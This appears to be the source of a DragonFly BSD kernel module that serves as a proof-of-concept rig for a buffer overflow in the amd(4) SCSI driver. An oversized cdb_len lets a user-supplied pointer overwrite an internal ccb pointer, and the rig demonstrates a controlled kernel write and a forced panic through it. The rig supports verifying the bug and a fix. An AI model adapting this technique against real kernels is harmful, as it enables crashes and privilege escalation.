DF-2425 / amdrig.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 | /* * DF-2425 verification rig -- DragonFly KLD * * Drives the *production* amd(4) driver source (sys/dev/disk/amd/amd.c, * included verbatim below) with a crafted XPT_SCSI_IO ccb, replicating * what amd_attach() sets up (softc + dma tag + SRB list + cam_sim), but * without PCI hardware. * * The finding: amd.c:399-400 does * pSRB->ScsiCmdLen = pcsio->cdb_len; * bcopy(pcsio->cdb_io.cdb_bytes, pSRB->CmdBlock, pcsio->cdb_len); * with cdb_len an attacker-controlled u_int8_t (0..255) copied verbatim * into CmdBlock[12] (amd.h:159). The 8 bytes of CmdBlock[16..24) land * exactly on struct amd_srb.pccb, and those source bytes are * ccb_scsiio.msg_ptr (the 8 bytes that follow cdb_bytes[16] in the * union ccb payload) -- a user-controlled pointer passed through * xpt_merge_ccb() unvalidated. amdexecutesrb() then does * ccb = srb->pccb; amd.c:287 * amd = ccb->ccb_h.ccb_amd_ptr; amd.c:288 * i.e. dereferences the fully attacker-chosen pointer. * * Test shim: the ONLY modification to the production code path is * `#define xpt_done rig_xpt_done` around the #include. The shim * forwards to the real xpt_done for any ccb with a valid path and * swallows (recording) ccbs whose path is NULL -- these are the * rig-fabricated ccbs which by construction cannot travel through the * real CAM completion machinery. Baseline (vulnerable) runs never * reach xpt_done; only the FIXED build's rejection path does. * * Modes (sysctl dev.amdrig.fire=N as root): * 0 : (module load) run the controlled-WRITE demonstration -- forges * pccb to point at a rig-allocated victim "ccb" and observes the * driver writing through the forged pointer (amd.c:355 * `ccb->ccb_h.status |= CAM_SIM_QUEUED`). Guest survives. * 1 : PANIC proof -- forges pccb = 0x414141414141 (canonical, * unmapped). amd.c:288 faults on it => fatal trap 12. * 2 : sanity -- cdb_len=6 XPT_SCSI_IO behaves normally. * 3 : reject-case -- cdb_len=255 XPT_SCSI_IO; FIXED build rejects it * (status CAM_REQ_INVALID, SRB untouched/recycled); vulnerable * build repeats the corruption. */ #include <sys/param.h> #include <sys/systm.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/malloc.h> #include <sys/sysctl.h> #include <sys/bus.h> #include <sys/rman.h> #include <bus/cam/cam.h> #include <bus/cam/cam_ccb.h> #include <bus/cam/cam_sim.h> #include <bus/cam/cam_xpt.h> #include <bus/cam/cam_xpt_sim.h> static int rig_reject_seen; static u_int32_t rig_reject_status; /* real completion routine, resolved before the shim macro is defined */ static void (*real_xpt_done)(union ccb *) = xpt_done; static void rig_xpt_done(union ccb *done_ccb) { if (done_ccb == NULL) return; if (done_ccb->ccb_h.path == NULL) { rig_reject_seen++; rig_reject_status = done_ccb->ccb_h.status; kprintf("RIGDONE: shim saw func=%d status=0x%x\n", done_ccb->ccb_h.func_code, done_ccb->ccb_h.status); return; } real_xpt_done(done_ccb); } /* * ------------------------------------------------------------------ * The PRODUCTION driver, compiled into this module. * * Adaptations, none of which touch the audited code path: * - DRIVER_MODULE (newbus registration boilerplate) is stubbed out: * the rig never attaches to a PCI device (amd_action is invoked * directly) and the GENERIC kernel already owns module "pci/amd", * which would make kldload refuse the rig. * - `#define amd amdrig_chip` renames the module-scope identifier * (variables, *_driver/devclass symbols); every driver function * (amd_action, amdexecutesrb, ...) and type (amd_softc, amd_srb) * is a distinct token and is compiled verbatim from /usr/src. * - xpt_done is shimmed (see above). * ------------------------------------------------------------------ */ #undef DRIVER_MODULE #define DRIVER_MODULE(name, busname, driver, devclass, evh, arg) \ static void __attribute__((unused)) __CONCAT(rig_unused_, name)(void) \ { (void)driver; (void)devclass; } #define amd amdrig_chip #define xpt_done rig_xpt_done #include <dev/disk/amd/amd.c> #undef xpt_done #undef amd #undef DRIVER_MODULE /* ------------------------------------------------------------------ */ static struct amd_softc *g_amd; static struct cam_sim *g_sim; static union ccb *g_ccb; /* fat alloc: absorbs the 255-byte over-read */ static void *g_victim; /* fake ccb for the controlled-write demo */ MALLOC_DEFINE(M_AMDRIG, "amdrig", "DF-2425 verification rig"); static int rig_setup(void) { struct cam_devq *devq; g_amd = kmalloc(sizeof(struct amd_softc), M_AMDRIG, M_INTWAIT | M_ZERO); g_ccb = kmalloc(sizeof(union ccb) + 512, M_AMDRIG, M_INTWAIT | M_ZERO); g_victim = kmalloc(1024, M_AMDRIG, M_INTWAIT | M_ZERO); /* mirror amd_init() (amd.c:2292-2307) minus the PCI I/O resource */ if (bus_dma_tag_create(/*parent*/NULL, /*align*/1, /*boundary*/0, BUS_SPACE_MAXADDR_32BIT, BUS_SPACE_MAXADDR, /*maxsize*/MAXBSIZE, /*nsegs*/AMD_NSEG, /*maxsegsz*/AMD_MAXTRANSFER_SIZE, BUS_DMA_ALLOCNOW, &g_amd->buffer_dmat) != 0) { kprintf("RIGERR: bus_dma_tag_create\n"); return (1); } TAILQ_INIT(&g_amd->free_srbs); TAILQ_INIT(&g_amd->running_srbs); TAILQ_INIT(&g_amd->waiting_srbs); /* * last_phase != SCSI_BUS_FREE keeps amdrunwaiting() (amd.c:266) * from touching chip registers we do not have. */ g_amd->last_phase = SCSI_ARBITRATING; g_amd->SRBCount = MAX_SRB_CNT; amd_linkSRB(g_amd); /* amd.c:2109 */ /* mirror amd_attach() (amd.c:2415-2425) */ devq = cam_simq_alloc(MAX_START_JOB); if (devq == NULL) { kprintf("RIGERR: cam_simq_alloc\n"); return (1); } g_sim = cam_sim_alloc(amd_action, amd_poll, "amdrig", g_amd, 0, &sim_mplock, 1, MAX_TAGS_CMD_QUEUE, devq); cam_simq_release(devq); if (g_sim == NULL) { kprintf("RIGERR: cam_sim_alloc\n"); return (1); } kprintf("RIGBEG: softc=%p sim=%p SRB_array=%p sizeof(srb)=%zu " "offsetof(CmdBlock)=%zu offsetof(pccb)=%zu\n", g_amd, g_sim, &g_amd->SRB_array[0], sizeof(struct amd_srb), offsetof(struct amd_srb, CmdBlock), offsetof(struct amd_srb, pccb)); return (0); } static void rig_fill_ccb(u_int8_t cdb_len, void *msg_ptr) { union ccb *ccb = g_ccb; bzero(ccb, sizeof(union ccb) + 512); ccb->ccb_h.func_code = XPT_SCSI_IO; ccb->ccb_h.flags = CAM_DIR_NONE; ccb->ccb_h.target_id = 0; ccb->ccb_h.target_lun = 0; ccb->ccb_h.status = CAM_REQ_INPROG; ccb->ccb_h.timeout = 5000; ccb->csio.cdb_len = cdb_len; memset(ccb->csio.cdb_io.cdb_bytes, 0x4c, 16); /* * cdb_bytes[16..24) of the over-read == csio.msg_ptr: these land on * pSRB->pccb. The following payload fields land on dmamap/pSGlist. */ ccb->csio.msg_ptr = msg_ptr; ccb->csio.msg_len = 0x1337; ccb->csio.tag_action = 0x5a; ccb->csio.tag_id = 0xc0ffee; ccb->csio.init_id = 0x1234abcd; ccb->csio.dxfer_len = 0; } /* mode 0: controlled write through the forged pccb -- guest survives */ static void rig_write_demo(void) { struct amd_srb *srb; union ccb *vic = g_victim; bzero(vic, 1024); vic->ccb_h.func_code = XPT_SCSI_IO; vic->ccb_h.status = CAM_REQ_INPROG; vic->ccb_h.ccb_amd_ptr = g_amd; /* read by amd.c:288 */ kprintf("RIGW0: victim=%p (pre status=0x%x), forging pccb=%p " "via csio.msg_ptr, cdb_len=255\n", vic, vic->ccb_h.status, vic); rig_fill_ccb(255, vic); amd_action(g_sim, g_ccb); /* * We return here: amd.c:287 loaded srb->pccb (forged = victim), * :288 read victim->ccb_amd_ptr (=g_amd), :347 read the victim * status, :355 wrote `status |= CAM_SIM_QUEUED` THROUGH the forged * pointer, :361 queued the srb; amdrunwaiting() no-ops. */ kprintf("RIGW1: post victim status=0x%x (CAM_SIM_QUEUED=0x%x) -> %s\n", vic->ccb_h.status, CAM_SIM_QUEUED, (vic->ccb_h.status & CAM_SIM_QUEUED) ? "WRITE-THROUGH-FORGED-PTR-CONFIRMED" : "no-write (unexpected)"); /* inspect the smashed SRB (first SRB handed out = SRB_array[0]) */ srb = &g_amd->SRB_array[0]; kprintf("RIGW2: srb=%p CmdBlock[0..11]=", srb); for (int i = 0; i < 12; i++) kprintf("%02x", srb->CmdBlock[i]); kprintf(" pccb=%p dmamap=%p pSGlist=%p ScsiCmdLen=%d " "(expect pccb=victim, dmamap=0x00c0ffee005a1337, " "pSGlist=0x1234abcd, ScsiCmdLen=255)\n", srb->pccb, srb->dmamap, srb->pSGlist, srb->ScsiCmdLen); } /* mode 1: panic proof */ static void rig_panic(void) { uint64_t forged = 0x0000414141414141ULL; kprintf("RIGP0: forging pccb=0x%lx (canonical, unmapped) via " "csio.msg_ptr, cdb_len=255; expect fatal trap at amd.c:288\n", forged); rig_fill_ccb(255, (void *)forged); amd_action(g_sim, g_ccb); kprintf("RIGP1: UNEXPECTED survival\n"); } /* mode 2: sanity -- ordinary 6-byte CDB must behave normally */ static void rig_sanity(void) { rig_fill_ccb(6, NULL); amd_action(g_sim, g_ccb); kprintf("RIGS1: cdb_len=6 returned; waiting_srbs %sempty " "(expect non-empty: srb queued normally)\n", TAILQ_EMPTY(&g_amd->waiting_srbs) ? "" : "non-"); } /* mode 3: reject-case (relevant for the FIXED build) */ static void rig_reject_case(void) { struct amd_srb *srb = &g_amd->SRB_array[0]; int before = rig_reject_seen; memset(srb, 0, sizeof(*srb)); /* watch for any write into it */ rig_fill_ccb(255, (void *)0xdeadbeefdead); amd_action(g_sim, g_ccb); kprintf("RIGR1: cdb_len=255 -> reject_seen=%d (was %d) status=0x%x " "free-list has SRB back=%s srb->CmdBlock[0]=0x%02x (0 == " "untouched) pccb still valid=%s\n", rig_reject_seen, before, rig_reject_status, (srb->links.tqe_next != NULL || srb->links.tqe_prev != NULL) ? "?" : "(check by hand)", srb->CmdBlock[0], (srb->pccb == (void *)0xdeadbeefdead) ? "never-was" : (srb->pccb == NULL ? "yes(cleared)" : "SMASHED")); } static int rig_sysctl_fire(SYSCTL_HANDLER_ARGS) { int mode = 0, error; error = sysctl_handle_int(oidp, &mode, 0, req); if (error != 0 || req->newptr == NULL) return (error); kprintf("RIGFIRE: mode=%d\n", mode); switch (mode) { case 1: rig_panic(); break; case 2: rig_sanity(); break; case 3: rig_reject_case(); break; default: break; } return (0); } SYSCTL_PROC(_dev, OID_AUTO, amdrig_fire, CTLTYPE_INT | CTLFLAG_RW, 0, 0, rig_sysctl_fire, "I", "fire DF-2425 rig mode"); static int amdrig_load(struct module *m, int what, void *arg) { switch (what) { case MOD_LOAD: if (rig_setup() != 0) return (ENXIO); rig_write_demo(); /* safe: survives */ kprintf("RIGEND: module loaded; dev.amdrig_fire=1 -> " "panic proof, =2 sanity, =3 reject-case\n"); return (0); case MOD_UNLOAD: return (EBUSY); /* softc/srbs stay referenced forever */ default: return (EOPNOTSUPP); } } static moduledata_t amdrig_mod = { "amdrig", amdrig_load, NULL }; DECLARE_MODULE(amdrig, amdrig_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); |